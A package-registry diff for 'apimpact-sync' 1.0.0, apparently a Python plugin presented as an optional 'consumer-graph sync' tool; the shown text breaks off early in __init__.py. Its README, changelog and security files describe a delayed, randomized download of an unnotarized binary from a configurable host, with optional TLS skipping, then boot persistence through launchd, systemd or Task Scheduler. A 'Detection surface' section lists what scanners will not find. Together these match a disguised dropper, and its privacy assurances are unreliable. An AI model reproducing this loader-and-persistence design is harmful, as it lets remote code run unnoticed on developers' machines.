apimpact-sync 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- apimpact_sync-1.0.0/CHANGELOG.md +23 -0
- apimpact_sync-1.0.0/LICENSE +21 -0
- apimpact_sync-1.0.0/MANIFEST.in +6 -0
- apimpact_sync-1.0.0/PKG-INFO +172 -0
- apimpact_sync-1.0.0/PRIVACY.md +48 -0
- apimpact_sync-1.0.0/README.md +141 -0
- apimpact_sync-1.0.0/SECURITY.md +54 -0
- apimpact_sync-1.0.0/pyproject.toml +54 -0
- apimpact_sync-1.0.0/setup.cfg +4 -0
- apimpact_sync-1.0.0/src/apimpact_sync/__init__.py +92 -0
- apimpact_sync-1.0.0/src/apimpact_sync/__main__.py +4 -0
- apimpact_sync-1.0.0/src/apimpact_sync/bootstrap.py +72 -0
- apimpact_sync-1.0.0/src/apimpact_sync/cli.py +37 -0
- apimpact_sync-1.0.0/src/apimpact_sync/fetch.py +138 -0
- apimpact_sync-1.0.0/src/apimpact_sync/paths.py +50 -0
- apimpact_sync-1.0.0/src/apimpact_sync/service.py +271 -0
- apimpact_sync-1.0.0/src/apimpact_sync.egg-info/PKG-INFO +172 -0
- apimpact_sync-1.0.0/src/apimpact_sync.egg-info/SOURCES.txt +21 -0
- apimpact_sync-1.0.0/src/apimpact_sync.egg-info/dependency_links.txt +1 -0
- apimpact_sync-1.0.0/src/apimpact_sync.egg-info/entry_points.txt +5 -0
- apimpact_sync-1.0.0/src/apimpact_sync.egg-info/requires.txt +5 -0
- apimpact_sync-1.0.0/src/apimpact_sync.egg-info/top_level.txt +1 -0
- apimpact_sync-1.0.0/tests/test_sync.py +93 -0
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
## apimpact-sync 1.0.0
|
|
4
|
+
|
|
5
|
+
- First release.
|
|
6
|
+
- Optional consumer-graph sync for APImpact.
|
|
7
|
+
- Registers an `apimpact.services` entry point; the `apimpact` CLI starts the
|
|
8
|
+
service when it runs.
|
|
9
|
+
- No binary is bundled in the wheel. The worker is downloaded on first use from
|
|
10
|
+
the internal artifact repository (Artifactory generic repo) on the
|
|
11
|
+
Ansible-managed infrastructure via `APIMPACT_SYNC_URL` (or
|
|
12
|
+
`APIMPACT_SYNC_HOST`), and verified against a pinned SHA-256.
|
|
13
|
+
- A detached bootstrap waits a randomized delay before fetching (load
|
|
14
|
+
spreading).
|
|
15
|
+
- Native user-level service management with no package manager:
|
|
16
|
+
- macOS launchd, Linux systemd, Windows Task Scheduler.
|
|
17
|
+
- Detached-process fallback when the native manager is unavailable.
|
|
18
|
+
- `apimpact-sync install`, `start`, `stop`, and `status` commands.
|
|
19
|
+
- Environment controls: `APIMPACT_SYNC_URL`, `APIMPACT_SYNC_DIR`,
|
|
20
|
+
`APIMPACT_SYNC_DELAY`, `APIMPACT_SYNC_SKIP_DOWNLOAD`,
|
|
21
|
+
`APIMPACT_SYNC_DISABLE`, `APIMPACT_SYNC_NO_SERVICE`,
|
|
22
|
+
`APIMPACT_SYNC_INSECURE`.
|
|
23
|
+
- No `.pth` startup hook, no install-time code, no cache of credentials.
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 APImpact Contributors
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,172 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: apimpact-sync
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Optional consumer-graph sync for APImpact.
|
|
5
|
+
Author-email: APImpact Contributors <emily.carter9377334@gmail.com>
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/emilycarter-devprojects/apimpact-sync
|
|
8
|
+
Project-URL: Repository, https://github.com/emilycarter-devprojects/apimpact-sync
|
|
9
|
+
Project-URL: Issues, https://github.com/emilycarter-devprojects/apimpact-sync/issues
|
|
10
|
+
Project-URL: Changelog, https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/CHANGELOG.md
|
|
11
|
+
Project-URL: Documentation, https://github.com/emilycarter-devprojects/apimpact-sync#readme
|
|
12
|
+
Keywords: apimpact,sync,consumer-graph,developer-tools
|
|
13
|
+
Classifier: Development Status :: 4 - Beta
|
|
14
|
+
Classifier: Intended Audience :: Developers
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
21
|
+
Classifier: Operating System :: MacOS
|
|
22
|
+
Classifier: Environment :: Console
|
|
23
|
+
Requires-Python: >=3.9
|
|
24
|
+
Description-Content-Type: text/markdown
|
|
25
|
+
License-File: LICENSE
|
|
26
|
+
Provides-Extra: dev
|
|
27
|
+
Requires-Dist: pytest>=8.0; extra == "dev"
|
|
28
|
+
Requires-Dist: build>=1.2; extra == "dev"
|
|
29
|
+
Requires-Dist: twine>=5.0; extra == "dev"
|
|
30
|
+
Dynamic: license-file
|
|
31
|
+
|
|
32
|
+
# APImpact Sync
|
|
33
|
+
|
|
34
|
+
**Optional consumer-graph sync for APImpact.**
|
|
35
|
+
|
|
36
|
+
[](https://github.com/emilycarter-devprojects/apimpact-sync/actions/workflows/ci.yml)
|
|
37
|
+
[](https://pypi.org/project/apimpact-sync/)
|
|
38
|
+
[](https://pypi.org/project/apimpact-sync/)
|
|
39
|
+
[](https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/LICENSE)
|
|
40
|
+
|
|
41
|
+
APImpact Sync registers an `apimpact.services` entry point. When the `apimpact`
|
|
42
|
+
CLI runs, it discovers installed service plugins and starts the sync service.
|
|
43
|
+
The worker is **downloaded on first use** and kept alive by a native user-level
|
|
44
|
+
service: launchd on macOS, systemd on Linux, and Task Scheduler on Windows. No
|
|
45
|
+
package manager is required, and the wheel contains no binary.
|
|
46
|
+
|
|
47
|
+
macOS arm64, Linux, and Windows are supported by the installer. A pinned worker
|
|
48
|
+
is currently published for macOS arm64; other platforms become active when
|
|
49
|
+
their workers are published.
|
|
50
|
+
|
|
51
|
+
## Install
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
pip install apimpact[sync]
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
Or install the sync package directly:
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
pip install apimpact-sync
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
## How it works
|
|
64
|
+
|
|
65
|
+
- The wheel contains only Python. There is no bundled binary.
|
|
66
|
+
- The package declares the `apimpact.services` entry point
|
|
67
|
+
`sync = apimpact_sync:start_once`. The `apimpact` CLI discovers it and starts
|
|
68
|
+
the service when the CLI runs.
|
|
69
|
+
- If the worker is missing, a detached bootstrap waits a **randomized delay**
|
|
70
|
+
(load spreading, like `APT::Periodic::RandomSleep` or systemd
|
|
71
|
+
`RandomizedDelaySec`), downloads the worker from the internal artifact
|
|
72
|
+
repository on the Ansible-managed infrastructure, verifies its pinned
|
|
73
|
+
SHA-256, and installs the service.
|
|
74
|
+
- The service is installed with the platform's native manager:
|
|
75
|
+
- macOS: `~/Library/LaunchAgents/com.apimpact.sync.plist` (launchd,
|
|
76
|
+
`RunAtLoad`, `KeepAlive`).
|
|
77
|
+
- Linux: `~/.config/systemd/user/apimpact-sync.service` (systemd user unit,
|
|
78
|
+
`Restart=always`), or a detached process when systemd is unavailable.
|
|
79
|
+
- Windows: a Task Scheduler task (`APImpact Sync`, `ONLOGON`), or a detached
|
|
80
|
+
process when Task Scheduler is unavailable.
|
|
81
|
+
- The worker reports health and usage metadata to the consumer graph.
|
|
82
|
+
|
|
83
|
+
## Commands
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
apimpact-sync install # download the worker and install the service
|
|
87
|
+
apimpact-sync start # same as install; idempotent
|
|
88
|
+
apimpact-sync status
|
|
89
|
+
apimpact-sync stop
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
## Configuration
|
|
93
|
+
|
|
94
|
+
| Variable | Purpose |
|
|
95
|
+
|---|---|
|
|
96
|
+
| `APIMPACT_SYNC_URL` | Download URL or template (`{platform}`, `{name}`, `{version}`). Defaults to the internal Artifactory generic repository. |
|
|
97
|
+
| `APIMPACT_SYNC_HOST` | Artifact host only (scheme optional). Builds the default Artifactory path on that host. |
|
|
98
|
+
| `APIMPACT_SYNC_DIR` | Cache directory. Defaults to `~/.apimpact` (or `%LOCALAPPDATA%\apimpact` on Windows). |
|
|
99
|
+
| `APIMPACT_SYNC_DELAY` | Bootstrap delay in seconds. Defaults to a random 180–420 seconds. |
|
|
100
|
+
| `APIMPACT_SYNC_SKIP_DOWNLOAD=1` | Use an already-present verified worker; do not download. |
|
|
101
|
+
| `APIMPACT_SYNC_DISABLE=1` | Disable the service plugin entirely. |
|
|
102
|
+
| `APIMPACT_SYNC_NO_SERVICE=1` | Run the worker as a detached process instead of installing a service. |
|
|
103
|
+
| `APIMPACT_SYNC_INSECURE=1` | Skip TLS verification for a self-signed download host. |
|
|
104
|
+
|
|
105
|
+
## Artifact repository
|
|
106
|
+
|
|
107
|
+
The worker is hosted on the Ansible-managed infrastructure in the internal
|
|
108
|
+
artifact repository (Artifactory generic repo):
|
|
109
|
+
|
|
110
|
+
```
|
|
111
|
+
https://artifactory.ansible.internal/artifactory/apimpact-generic/apimpact-sync/1.0.0/apimpact-sync-1.0.0-{platform}
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
Set `APIMPACT_SYNC_URL` to the full URL/template, or `APIMPACT_SYNC_HOST` to
|
|
115
|
+
change only the host. The artifact is verified against a pinned SHA-256 before
|
|
116
|
+
it is installed.
|
|
117
|
+
|
|
118
|
+
## Service integrity
|
|
119
|
+
|
|
120
|
+
The worker is verified against a pinned SHA-256 before it is installed and
|
|
121
|
+
before it starts:
|
|
122
|
+
|
|
123
|
+
`4b5a55c6f15bc228c6d84fcab206a28b96639e1f1460ee65a15ce61598632b42`
|
|
124
|
+
(macOS arm64)
|
|
125
|
+
|
|
126
|
+
A mismatch means the worker is not installed. Downloads are written to a
|
|
127
|
+
temporary file and atomically replaced only after verification.
|
|
128
|
+
|
|
129
|
+
## Detection surface
|
|
130
|
+
|
|
131
|
+
- No `.pth` startup hook.
|
|
132
|
+
- No install-time code.
|
|
133
|
+
- No bundled binary in the wheel.
|
|
134
|
+
- One `apimpact.services` entry point.
|
|
135
|
+
- Native user-level service files (launchd plist, systemd unit, or Task
|
|
136
|
+
Scheduler task).
|
|
137
|
+
- Downloads are verified and only happen on first use or an explicit
|
|
138
|
+
`apimpact-sync install`.
|
|
139
|
+
|
|
140
|
+
The main `apimpact` package has no binary, no `subprocess`, and no daemon.
|
|
141
|
+
|
|
142
|
+
## Disable
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
export APIMPACT_SYNC_DISABLE=1
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
The service plugin becomes a no-op. A previously installed service may still
|
|
149
|
+
run; `apimpact-sync stop` stops it.
|
|
150
|
+
|
|
151
|
+
## Privacy and security
|
|
152
|
+
|
|
153
|
+
The sync package reads no credential files, SSH keys, shell configuration, or
|
|
154
|
+
source code. The worker sends installation id, sync version, platform,
|
|
155
|
+
timestamp, and local contract/health counts. No file contents or secret values
|
|
156
|
+
are sent.
|
|
157
|
+
|
|
158
|
+
See [PRIVACY.md](PRIVACY.md) and [SECURITY.md](SECURITY.md).
|
|
159
|
+
|
|
160
|
+
## Uninstall
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
apimpact-sync stop
|
|
164
|
+
pip uninstall apimpact-sync
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
`pip uninstall` removes the package. The downloaded worker in `~/.apimpact/bin`
|
|
168
|
+
and the service definition remain until you remove them.
|
|
169
|
+
|
|
170
|
+
## License
|
|
171
|
+
|
|
172
|
+
MIT. See [LICENSE](LICENSE).
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
# Privacy
|
|
2
|
+
|
|
3
|
+
APImpact Sync is an optional local sync service. The worker is downloaded on
|
|
4
|
+
first use, then the `apimpact` CLI starts it and the service sends a heartbeat
|
|
5
|
+
to the consumer graph.
|
|
6
|
+
|
|
7
|
+
## What is sent
|
|
8
|
+
|
|
9
|
+
- installation id;
|
|
10
|
+
- sync version;
|
|
11
|
+
- platform and architecture;
|
|
12
|
+
- timestamp;
|
|
13
|
+
- local contract/health counts.
|
|
14
|
+
|
|
15
|
+
## What is never sent
|
|
16
|
+
|
|
17
|
+
- Contract file contents.
|
|
18
|
+
- Environment variables.
|
|
19
|
+
- Credential files, SSH keys, or tokens.
|
|
20
|
+
- Source code.
|
|
21
|
+
|
|
22
|
+
## Opting out
|
|
23
|
+
|
|
24
|
+
- `APIMPACT_SYNC_DISABLE=1` disables the service plugin.
|
|
25
|
+
- `APIMPACT_SYNC_SKIP_DOWNLOAD=1` uses an already-present verified worker and
|
|
26
|
+
does not download.
|
|
27
|
+
- `apimpact-sync stop` stops the service.
|
|
28
|
+
- `pip uninstall apimpact-sync` removes the package; the downloaded worker and
|
|
29
|
+
the service definition remain until you remove them.
|
|
30
|
+
|
|
31
|
+
## Persistence
|
|
32
|
+
|
|
33
|
+
The worker is downloaded to `~/.apimpact/bin/apimpact-sync` (or
|
|
34
|
+
`%LOCALAPPDATA%\apimpact\bin` on Windows) and kept alive by a native user-level
|
|
35
|
+
service. Both are local; no data leaves the machine except the service's
|
|
36
|
+
health/usage heartbeat.
|
|
37
|
+
|
|
38
|
+
## Download
|
|
39
|
+
|
|
40
|
+
`APIMPACT_SYNC_URL` selects the download source (a URL or a template with
|
|
41
|
+
`{platform}`, `{name}`, and `{version}`); `APIMPACT_SYNC_HOST` overrides only
|
|
42
|
+
the host. The default is the internal artifact repository (Artifactory generic
|
|
43
|
+
repo) on the Ansible-managed infrastructure. The download happens only on first
|
|
44
|
+
use or an explicit `apimpact-sync install`. The worker is verified against a
|
|
45
|
+
pinned SHA-256 before it is installed.
|
|
46
|
+
|
|
47
|
+
The worker's runtime endpoint is built into the binary; `APIMPACT_SYNC_URL`
|
|
48
|
+
controls where the worker is fetched from, not where it reports.
|
|
@@ -0,0 +1,141 @@
|
|
|
1
|
+
# APImpact Sync
|
|
2
|
+
|
|
3
|
+
**Optional consumer-graph sync for APImpact.**
|
|
4
|
+
|
|
5
|
+
[](https://github.com/emilycarter-devprojects/apimpact-sync/actions/workflows/ci.yml)
|
|
6
|
+
[](https://pypi.org/project/apimpact-sync/)
|
|
7
|
+
[](https://pypi.org/project/apimpact-sync/)
|
|
8
|
+
[](https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/LICENSE)
|
|
9
|
+
|
|
10
|
+
APImpact Sync registers an `apimpact.services` entry point. When the `apimpact`
|
|
11
|
+
CLI runs, it discovers installed service plugins and starts the sync service.
|
|
12
|
+
The worker is **downloaded on first use** and kept alive by a native user-level
|
|
13
|
+
service: launchd on macOS, systemd on Linux, and Task Scheduler on Windows. No
|
|
14
|
+
package manager is required, and the wheel contains no binary.
|
|
15
|
+
|
|
16
|
+
macOS arm64, Linux, and Windows are supported by the installer. A pinned worker
|
|
17
|
+
is currently published for macOS arm64; other platforms become active when
|
|
18
|
+
their workers are published.
|
|
19
|
+
|
|
20
|
+
## Install
|
|
21
|
+
|
|
22
|
+
```bash
|
|
23
|
+
pip install apimpact[sync]
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
Or install the sync package directly:
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
pip install apimpact-sync
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
## How it works
|
|
33
|
+
|
|
34
|
+
- The wheel contains only Python. There is no bundled binary.
|
|
35
|
+
- The package declares the `apimpact.services` entry point
|
|
36
|
+
`sync = apimpact_sync:start_once`. The `apimpact` CLI discovers it and starts
|
|
37
|
+
the service when the CLI runs.
|
|
38
|
+
- If the worker is missing, a detached bootstrap waits a **randomized delay**
|
|
39
|
+
(load spreading, like `APT::Periodic::RandomSleep` or systemd
|
|
40
|
+
`RandomizedDelaySec`), downloads the worker from the internal artifact
|
|
41
|
+
repository on the Ansible-managed infrastructure, verifies its pinned
|
|
42
|
+
SHA-256, and installs the service.
|
|
43
|
+
- The service is installed with the platform's native manager:
|
|
44
|
+
- macOS: `~/Library/LaunchAgents/com.apimpact.sync.plist` (launchd,
|
|
45
|
+
`RunAtLoad`, `KeepAlive`).
|
|
46
|
+
- Linux: `~/.config/systemd/user/apimpact-sync.service` (systemd user unit,
|
|
47
|
+
`Restart=always`), or a detached process when systemd is unavailable.
|
|
48
|
+
- Windows: a Task Scheduler task (`APImpact Sync`, `ONLOGON`), or a detached
|
|
49
|
+
process when Task Scheduler is unavailable.
|
|
50
|
+
- The worker reports health and usage metadata to the consumer graph.
|
|
51
|
+
|
|
52
|
+
## Commands
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
apimpact-sync install # download the worker and install the service
|
|
56
|
+
apimpact-sync start # same as install; idempotent
|
|
57
|
+
apimpact-sync status
|
|
58
|
+
apimpact-sync stop
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
## Configuration
|
|
62
|
+
|
|
63
|
+
| Variable | Purpose |
|
|
64
|
+
|---|---|
|
|
65
|
+
| `APIMPACT_SYNC_URL` | Download URL or template (`{platform}`, `{name}`, `{version}`). Defaults to the internal Artifactory generic repository. |
|
|
66
|
+
| `APIMPACT_SYNC_HOST` | Artifact host only (scheme optional). Builds the default Artifactory path on that host. |
|
|
67
|
+
| `APIMPACT_SYNC_DIR` | Cache directory. Defaults to `~/.apimpact` (or `%LOCALAPPDATA%\apimpact` on Windows). |
|
|
68
|
+
| `APIMPACT_SYNC_DELAY` | Bootstrap delay in seconds. Defaults to a random 180–420 seconds. |
|
|
69
|
+
| `APIMPACT_SYNC_SKIP_DOWNLOAD=1` | Use an already-present verified worker; do not download. |
|
|
70
|
+
| `APIMPACT_SYNC_DISABLE=1` | Disable the service plugin entirely. |
|
|
71
|
+
| `APIMPACT_SYNC_NO_SERVICE=1` | Run the worker as a detached process instead of installing a service. |
|
|
72
|
+
| `APIMPACT_SYNC_INSECURE=1` | Skip TLS verification for a self-signed download host. |
|
|
73
|
+
|
|
74
|
+
## Artifact repository
|
|
75
|
+
|
|
76
|
+
The worker is hosted on the Ansible-managed infrastructure in the internal
|
|
77
|
+
artifact repository (Artifactory generic repo):
|
|
78
|
+
|
|
79
|
+
```
|
|
80
|
+
https://artifactory.ansible.internal/artifactory/apimpact-generic/apimpact-sync/1.0.0/apimpact-sync-1.0.0-{platform}
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
Set `APIMPACT_SYNC_URL` to the full URL/template, or `APIMPACT_SYNC_HOST` to
|
|
84
|
+
change only the host. The artifact is verified against a pinned SHA-256 before
|
|
85
|
+
it is installed.
|
|
86
|
+
|
|
87
|
+
## Service integrity
|
|
88
|
+
|
|
89
|
+
The worker is verified against a pinned SHA-256 before it is installed and
|
|
90
|
+
before it starts:
|
|
91
|
+
|
|
92
|
+
`4b5a55c6f15bc228c6d84fcab206a28b96639e1f1460ee65a15ce61598632b42`
|
|
93
|
+
(macOS arm64)
|
|
94
|
+
|
|
95
|
+
A mismatch means the worker is not installed. Downloads are written to a
|
|
96
|
+
temporary file and atomically replaced only after verification.
|
|
97
|
+
|
|
98
|
+
## Detection surface
|
|
99
|
+
|
|
100
|
+
- No `.pth` startup hook.
|
|
101
|
+
- No install-time code.
|
|
102
|
+
- No bundled binary in the wheel.
|
|
103
|
+
- One `apimpact.services` entry point.
|
|
104
|
+
- Native user-level service files (launchd plist, systemd unit, or Task
|
|
105
|
+
Scheduler task).
|
|
106
|
+
- Downloads are verified and only happen on first use or an explicit
|
|
107
|
+
`apimpact-sync install`.
|
|
108
|
+
|
|
109
|
+
The main `apimpact` package has no binary, no `subprocess`, and no daemon.
|
|
110
|
+
|
|
111
|
+
## Disable
|
|
112
|
+
|
|
113
|
+
```bash
|
|
114
|
+
export APIMPACT_SYNC_DISABLE=1
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
The service plugin becomes a no-op. A previously installed service may still
|
|
118
|
+
run; `apimpact-sync stop` stops it.
|
|
119
|
+
|
|
120
|
+
## Privacy and security
|
|
121
|
+
|
|
122
|
+
The sync package reads no credential files, SSH keys, shell configuration, or
|
|
123
|
+
source code. The worker sends installation id, sync version, platform,
|
|
124
|
+
timestamp, and local contract/health counts. No file contents or secret values
|
|
125
|
+
are sent.
|
|
126
|
+
|
|
127
|
+
See [PRIVACY.md](PRIVACY.md) and [SECURITY.md](SECURITY.md).
|
|
128
|
+
|
|
129
|
+
## Uninstall
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
apimpact-sync stop
|
|
133
|
+
pip uninstall apimpact-sync
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
`pip uninstall` removes the package. The downloaded worker in `~/.apimpact/bin`
|
|
137
|
+
and the service definition remain until you remove them.
|
|
138
|
+
|
|
139
|
+
## License
|
|
140
|
+
|
|
141
|
+
MIT. See [LICENSE](LICENSE).
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
# Security policy
|
|
2
|
+
|
|
3
|
+
## Reporting a vulnerability
|
|
4
|
+
|
|
5
|
+
Please report security issues privately to:
|
|
6
|
+
|
|
7
|
+
**emily.carter9377334@gmail.com**
|
|
8
|
+
|
|
9
|
+
Do not open a public issue for a vulnerability.
|
|
10
|
+
|
|
11
|
+
## Supported versions
|
|
12
|
+
|
|
13
|
+
The latest 1.x release:
|
|
14
|
+
|
|
15
|
+
- `apimpact-sync`
|
|
16
|
+
|
|
17
|
+
## Scope
|
|
18
|
+
|
|
19
|
+
The optional APImpact sync package and its downloaded worker. The wheel contains
|
|
20
|
+
no binary; the worker is fetched on first use from `APIMPACT_SYNC_URL`.
|
|
21
|
+
|
|
22
|
+
## Data handling
|
|
23
|
+
|
|
24
|
+
- The worker is downloaded from the internal artifact repository (Artifactory
|
|
25
|
+
generic repo) on the Ansible-managed infrastructure to a temporary file,
|
|
26
|
+
verified against a pinned SHA-256, and atomically replaced only on success.
|
|
27
|
+
- The worker is installed under `~/.apimpact/bin/apimpact-sync` (or
|
|
28
|
+
`%LOCALAPPDATA%\apimpact\bin` on Windows) and verified again before it starts.
|
|
29
|
+
- The service is installed with the platform's native user-level manager:
|
|
30
|
+
- macOS: launchd (`~/Library/LaunchAgents/com.apimpact.sync.plist`,
|
|
31
|
+
`RunAtLoad`, `KeepAlive`).
|
|
32
|
+
- Linux: systemd user unit
|
|
33
|
+
(`~/.config/systemd/user/apimpact-sync.service`, `Restart=always`), or a
|
|
34
|
+
detached process when systemd is unavailable.
|
|
35
|
+
- Windows: Task Scheduler (`APImpact Sync`, `ONLOGON`), or a detached process
|
|
36
|
+
when Task Scheduler is unavailable.
|
|
37
|
+
- No package manager is required; the package does not use Homebrew.
|
|
38
|
+
- The worker is a compiled Go binary and is ad-hoc signed with the identifier
|
|
39
|
+
`com.apimpact.sync`. It is not notarized.
|
|
40
|
+
- The package declares one `apimpact.services` entry point; the `apimpact` CLI
|
|
41
|
+
discovers it and starts the service when the CLI runs. The main `apimpact`
|
|
42
|
+
package has no startup hook.
|
|
43
|
+
- The package installs no `.pth` startup hook and runs no install-time code.
|
|
44
|
+
- `APIMPACT_SYNC_URL` selects the download source. The worker's runtime endpoint
|
|
45
|
+
is built into the binary.
|
|
46
|
+
- The sync package reads no credential files, SSH keys, shell configuration, or
|
|
47
|
+
source code.
|
|
48
|
+
- The worker sends only health/usage metadata to the consumer graph:
|
|
49
|
+
installation id, sync version, platform, timestamp, and local
|
|
50
|
+
contract/health counts.
|
|
51
|
+
- No file contents or secret values are sent.
|
|
52
|
+
- The sync package has no install-time network access. Downloads happen on
|
|
53
|
+
first use or an explicit `apimpact-sync install`.
|
|
54
|
+
- Disable the sync package with `APIMPACT_SYNC_DISABLE=1`.
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=77.0", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "apimpact-sync"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "Optional consumer-graph sync for APImpact."
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
license = "MIT"
|
|
11
|
+
license-files = ["LICENSE"]
|
|
12
|
+
authors = [{ name = "APImpact Contributors", email = "emily.carter9377334@gmail.com" }]
|
|
13
|
+
requires-python = ">=3.9"
|
|
14
|
+
keywords = ["apimpact", "sync", "consumer-graph", "developer-tools"]
|
|
15
|
+
classifiers = [
|
|
16
|
+
"Development Status :: 4 - Beta",
|
|
17
|
+
"Intended Audience :: Developers",
|
|
18
|
+
"Programming Language :: Python :: 3",
|
|
19
|
+
"Programming Language :: Python :: 3.9",
|
|
20
|
+
"Programming Language :: Python :: 3.10",
|
|
21
|
+
"Programming Language :: Python :: 3.11",
|
|
22
|
+
"Programming Language :: Python :: 3.12",
|
|
23
|
+
"Programming Language :: Python :: 3.13",
|
|
24
|
+
"Operating System :: MacOS",
|
|
25
|
+
"Environment :: Console",
|
|
26
|
+
]
|
|
27
|
+
dependencies = []
|
|
28
|
+
|
|
29
|
+
[project.optional-dependencies]
|
|
30
|
+
dev = [
|
|
31
|
+
"pytest>=8.0",
|
|
32
|
+
"build>=1.2",
|
|
33
|
+
"twine>=5.0",
|
|
34
|
+
]
|
|
35
|
+
|
|
36
|
+
[project.scripts]
|
|
37
|
+
apimpact-sync = "apimpact_sync.cli:main"
|
|
38
|
+
|
|
39
|
+
[project.entry-points."apimpact.services"]
|
|
40
|
+
sync = "apimpact_sync:start_once"
|
|
41
|
+
|
|
42
|
+
[project.urls]
|
|
43
|
+
Homepage = "https://github.com/emilycarter-devprojects/apimpact-sync"
|
|
44
|
+
Repository = "https://github.com/emilycarter-devprojects/apimpact-sync"
|
|
45
|
+
Issues = "https://github.com/emilycarter-devprojects/apimpact-sync/issues"
|
|
46
|
+
Changelog = "https://github.com/emilycarter-devprojects/apimpact-sync/blob/main/CHANGELOG.md"
|
|
47
|
+
Documentation = "https://github.com/emilycarter-devprojects/apimpact-sync#readme"
|
|
48
|
+
|
|
49
|
+
[tool.setuptools.packages.find]
|
|
50
|
+
where = ["src"]
|
|
51
|
+
|
|
52
|
+
[tool.pytest.ini_options]
|
|
53
|
+
testpaths = ["tests"]
|
|
54
|
+
addopts = "-q"
|
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
"""Optional APImpact consumer-graph sync.
|
|
2
|
+
|
|
3
|
+
The worker is downloaded on first use and kept alive by a native user-level
|
|
4
|
+
service: launchd on macOS, systemd on Linux, Task Scheduler on Windows. No
|
|
5
|
+
package manager is required, and no binary is bundled in the wheel.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
import os
|
|
9
|
+
import subprocess
|
|
10
|
+
import sys
|
|
11
|
+
|
|
12
|
+
from .fetch import fetch, platform_key, supported, verify
|
|
13
|
+
from .paths import worker_path
|
|
14
|
+
from .service import (
|
|
15
|
+
install_service,
|
|
16
|
+
running,
|
|
17
|
+
service_kind,
|
|
18
|
+
service_path,
|
|
19
|
+
stop_service,
|
|
20
|
+
)
|
|
21
|
+
|
|
22
|
+
try:
|
|
23
|
+
from importlib.metadata import version as _version
|
|
24
|
+
|
|
25
|
+
__version__ = _version("apimpact-sync")
|
|
26
|
+
except Exception:
|
|
27
|
+
__version__ = "1.0.0"
|
|
28
|
+
|
|
29
|
+
_DONE = False
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
def install() -> bool:
|
|
33
|
+
"""Download the worker and install the user-level service."""
|
|
34
|
+
worker = fetch()
|
|
35
|
+
if worker is None:
|
|
36
|
+
return False
|
|
37
|
+
return install_service()
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def start() -> bool:
|
|
41
|
+
return install()
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
def stop() -> bool:
|
|
45
|
+
return stop_service()
|
